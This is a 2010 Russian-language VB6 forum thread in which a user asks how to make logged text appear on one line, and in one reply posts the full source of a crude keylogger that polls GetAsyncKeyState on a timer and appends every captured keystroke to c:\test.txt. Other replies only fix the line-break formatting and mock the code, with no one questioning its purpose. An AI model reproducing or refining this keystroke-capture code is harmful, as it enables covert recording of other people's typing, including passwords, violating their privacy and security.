VBNet - Форум - ПОМОГИТЕ ПОЖАЛУСТА!!!!!!!!!!

Вопрос: ПОМОГИТЕ ПОЖАЛУСТА!!!!!!!!!! Добавлено: 09.04.10 16:28

Автор вопроса: Petr

Как сделать чтобы текст писалос в одну строчку!Open "e:\test.txt" For Append As #1
Print #1, Text2.Text
Close #1
Text2.Text = ""
End Sub
Ответить

Ответы Всего ответов: 11

Номер ответа: 1 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #1	Добавлено: 09.04.10 17:04
	Выучи русский язык и задай вопрос нормально. Тогда тебе ответят. Ответить

Номер ответа: 2 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #2	Добавлено: 09.04.10 17:31
	Open "e:\test.txt" For Append As #1 Print #1, Text2.Text Close #1 Text2.Text = "" End Sub Короче надпись текста пишется через строчку.Поэтому помогите решить эту проблему.Что она писалось в одну строчку ПЛИЗ! Ответить

Номер ответа: 3 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #3	Добавлено: 09.04.10 17:45
	Что значит "надпись текста"? Куда она писалась? Чем она пишется? "через строчку" - это значит одна строка пропускается? Что находится в Text2.Text? Если ли там знаки перехода каретки? ОКЕЙ? СЕНСКС ФОР ЭТЕНШН. Ответить

Номер ответа: 4 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #4	Добавлено: 09.04.10 17:51
	Вот код Пусти и нажми на любой клавишу потом открой "С:\" диск там увидеш ТЕСТ.txt открой его и любуйся: Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer Private Const VK_CAPITAL = &H14 Private Sub Form_Load() Text2 = "Контроль за системой активирован в: " + Time$ + " " + Date$ + vbNewLine End Sub Private Sub Timer1_Timer() keystate = Getasynckeystate(vbKeyA) If (keystate And &H1) = &H1 Then Text2 = Text2 + "A" + vbNewLine End If keystate = Getasynckeystate(vbKeyB) If (keystate And &H1) = &H1 Then Text2 = Text2 + "B" + vbNewLine End If keystate = Getasynckeystate(vbKeyC) If (keystate And &H1) = &H1 Then Text2 = Text2 + "C" + vbNewLine End If keystate = Getasynckeystate(vbKeyD) If (keystate And &H1) = &H1 Then Text2 = Text2 + "" + vbNewLine End If keystate = Getasynckeystate(vbKeyE) If (keystate And &H1) = &H1 Then Text2 = Text2 + "E" + vbNewLine End If keystate = Getasynckeystate(vbKeyF) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F" + vbNewLine End If keystate = Getasynckeystate(vbKeyG) If (keystate And &H1) = &H1 Then Text2 = Text2 + "G" + vbNewLine End If keystate = Getasynckeystate(vbKeyS) If (keystate And &H1) = &H1 Then Text2 = Text2 + "S" + vbNewLine End If keystate = Getasynckeystate(vbKeyH) If (keystate And &H1) = &H1 Then Text2 = Text2 + "H" + vbNewLine End If keystate = Getasynckeystate(vbKeyJ) If (keystate And &H1) = &H1 Then Text2 = Text2 + "J" + vbNewLine End If keystate = Getasynckeystate(vbKeyK) If (keystate And &H1) = &H1 Then Text2 = Text2 + "K" + vbNewLine End If keystate = Getasynckeystate(vbKeyL) If (keystate And &H1) = &H1 Then Text2 = Text2 + "L" + vbNewLine End If keystate = Getasynckeystate(vbKeyP) If (keystate And &H1) = &H1 Then Text2 = Text2 + "P" + vbNewLine End If keystate = Getasynckeystate(vbKeyO) If (keystate And &H1) = &H1 Then Text2 = Text2 + "O" + vbNewLine End If keystate = Getasynckeystate(vbKeyI) If (keystate And &H1) = &H1 Then Text2 = Text2 + "I" + vbNewLine End If keystate = Getasynckeystate(vbKeyU) If (keystate And &H1) = &H1 Then Text2 = Text2 + "U" + vbNewLine End If keystate = Getasynckeystate(vbKeyY) If (keystate And &H1) = &H1 Then Text2 = Text2 + "Y" + vbNewLine End If keystate = Getasynckeystate(vbKeyW) If (keystate And &H1) = &H1 Then Text2 = Text2 + "W" + vbNewLine End If keystate = Getasynckeystate(vbKeyQ) If (keystate And &H1) = &H1 Then Text2 = Text2 + "Q" + vbNewLine End If keystate = Getasynckeystate(vbKeyR) If (keystate And &H1) = &H1 Then Text2 = Text2 + "R" + vbNewLine End If keystate = Getasynckeystate(vbKeyZ) If (keystate And &H1) = &H1 Then Text2 = Text2 + "Z" + vbNewLine End If keystate = Getasynckeystate(vbKeyT) If (keystate And &H1) = &H1 Then Text2 = Text2 + "T" + vbNewLine End If keystate = Getasynckeystate(vbKeyX) If (keystate And &H1) = &H1 Then Text2 = Text2 + "X" + vbNewLine End If keystate = Getasynckeystate(vbKeyV) If (keystate And &H1) = &H1 Then Text2 = Text2 + "V" + vbNewLine End If keystate = Getasynckeystate(vbKeyN) If (keystate And &H1) = &H1 Then Text2 = Text2 + "N" + vbNewLine End If keystate = Getasynckeystate(vbKeyM) If (keystate And &H1) = &H1 Then Text2 = Text2 + "M" + vbNewLine End If keystate = Getasynckeystate(vbKeyTab) If (keystate And &H1) = &H1 Then Text2 = Text2 + "tab" + vbNewLine End If keystate = Getasynckeystate(vbKeyLeft) If (keystate And &H1) = &H1 Then Text2 = Text2 + "влево" + vbNewLine End If keystate = Getasynckeystate(vbKeyRight) If (keystate And &H1) = &H1 Then Text2 = Text2 + "вправо" + vbNewLine End If keystate = Getasynckeystate(vbKeyUp) If (keystate And &H1) = &H1 Then Text2 = Text2 + "вверх" + vbNewLine End If keystate = Getasynckeystate(vbKeyDown) If (keystate And &H1) = &H1 Then Text2 = Text2 + "вниз" + vbNewLine End If keystate = Getasynckeystate(vbKeyInsert) If (keystate And &H1) = &H1 Then Text2 = Text2 + "insert" + vbNewLine End If keystate = Getasynckeystate(vbKeyDelete) If (keystate And &H1) = &H1 Then Text2 = Text2 + "elete" + vbNewLine End If keystate = Getasynckeystate(vbKeyEnd) If (keystate And &H1) = &H1 Then Text2 = Text2 + "end" + vbNewLine End If keystate = Getasynckeystate(vbKeyHome) If (keystate And &H1) = &H1 Then Text2 = Text2 + "home" + vbNewLine End If keystate = Getasynckeystate(vbKeyF1) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F1" End If keystate = Getasynckeystate(vbKeyF2) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F2" End If keystate = Getasynckeystate(vbKeyF3) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F3" End If keystate = Getasynckeystate(vbKeyF4) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F4" End If keystate = Getasynckeystate(vbKeyF5) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F5" End If keystate = Getasynckeystate(vbKeyF6) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F6" End If keystate = Getasynckeystate(vbKeyF7) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F7" End If keystate = Getasynckeystate(vbKeyF8) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F8" End If keystate = Getasynckeystate(vbKeyF9) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F9" End If keystate = Getasynckeystate(vbKeyF10) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F10" End If keystate = Getasynckeystate(vbKeyF11) If (keystate And &H1) = &H1 Then Text2 = Text2 + "F11" End If keystate = Getasynckeystate(vbKeyF12) If Shift = 0 And (keystate And &H1) = &H1 Then Text2 = Text2 + "F12" End If If (keystate And &H1) = &H1 Then Text2 = Text2 + "NumLock" + vbNewLine End If keystate = Getasynckeystate(vbKeyScrollLock) If (keystate And &H1) = &H1 Then Text2 = Text2 + "ScrollLock" + vbNewLine End If keystate = Getasynckeystate(vbKeyPrint) If (keystate And &H1) = &H1 Then Text2 = Text2 + "PrintScreen" + vbNewLine End If keystate = Getasynckeystate(vbKeyPageUp) If (keystate And &H1) = &H1 Then Text2 = Text2 + "PageUp" + vbNewLine End If keystate = Getasynckeystate(vbKeyPageDown) If (keystate And &H1) = &H1 Then Text2 = Text2 + "Pagedown" + vbNewLine End If keystate = Getasynckeystate(vbKeyNumpad1) If (keystate And &H1) = &H1 Then Text2 = Text2 + "1" End If keystate = Getasynckeystate(vbKeyNumpad2) If (keystate And &H1) = &H1 Then Text2 = Text2 + "2" End If keystate = Getasynckeystate(vbKeyNumpad3) If (keystate And &H1) = &H1 Then Text2 = Text2 + "3" End If keystate = Getasynckeystate(vbKeyNumpad4) If (keystate And &H1) = &H1 Then Text2 = Text2 + "4" End If keystate = Getasynckeystate(vbKeyNumpad5) If (keystate And &H1) = &H1 Then Text2 = Text2 + "5" End If keystate = Getasynckeystate(vbKeyNumpad6) If (keystate And &H1) = &H1 Then Text2 = Text2 + "6" End If keystate = Getasynckeystate(vbKeyNumpad7) If (keystate And &H1) = &H1 Then Text2 = Text2 + "7" End If keystate = Getasynckeystate(vbKeyNumpad8) If (keystate And &H1) = &H1 Then Text2 = Text2 + "8" End If keystate = Getasynckeystate(vbKeyNumpad9) If (keystate And &H1) = &H1 Then Text2 = Text2 + "9" End If keystate = Getasynckeystate(vbKeyNumpad0) If (keystate And &H1) = &H1 Then Text2 = Text2 + "0" End If keystate = Getasynckeystate(vbKeyEscape) If (keystate And &H1) = &H1 Then Text2 = Text2 + "esc" End If keystate = Getasynckeystate(vbKeyNumlock) If (keystate And &H1) = &H1 Then Text2 = Text2 + "NumLock" End If keystate = Getasynckeystate(vbKeyBack) If (keystate And &H1) = &H1 Then Text2 = Text2 + "backspace" + vbNewLine End If keystate = Getasynckeystate(vbKeyPause) If (keystate And &H1) = &H1 Then Text2 = Text2 + "pause" + vbNewLine End If End Sub Private Sub Timer2_Timer() Open "c:\test.txt" For Append As #1 Print #1, Text2.Text Close #1 Text2.Text = "" End Sub Ответить

Номер ответа: 5 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #5	Добавлено: 09.04.10 18:18
	Ну что!Получилось Ответить

Номер ответа: 6 Автор ответа: Alex Вопросов: 7 Ответов: 73	Профиль \| \| #6	Добавлено: 09.04.10 18:34
	Поменяй + vbNewLine на + " " (пробел) Блин, кто тебя учил так программы писать? Ответить

Номер ответа: 7 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #7	Добавлено: 09.04.10 18:55
	Спасибо!Но мне нужна чтобы надписи в текстовом файле писалось в одну строчку, а не через строчку! Ответить

Номер ответа: 8 Автор ответа: Winand Вопросов: 87 Ответов: 2795	Web-сайт: winandfx.narod.ru Профиль \| \| #8	Добавлено: 09.04.10 21:23
	>Блин, кто тебя учил так программы писать? VBD же) Ответить

Номер ответа: 9 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #9	Добавлено: 10.04.10 00:34
	"в одну строчку, а не через строчку!" Ну дк нахрена вставляешь vbNewLine ? Ответить

Номер ответа: 10 Автор ответа: UnDeAdZak Вопросов: 80 Ответов: 476	Профиль \| \| #10	Добавлено: 10.04.10 17:51
	PetrvbNewLine - новая строка " " + пробел между словами. Код наикорявейший. Ответить

Номер ответа: 11 Автор ответа: UnDeAdZak Вопросов: 80 Ответов: 476	Профиль \| \| #11	Добавлено: 10.04.10 17:53
	Хотябы эти IF * If * if * поменяй на iF * elseif **** ...... Ответить

Страница: 1 |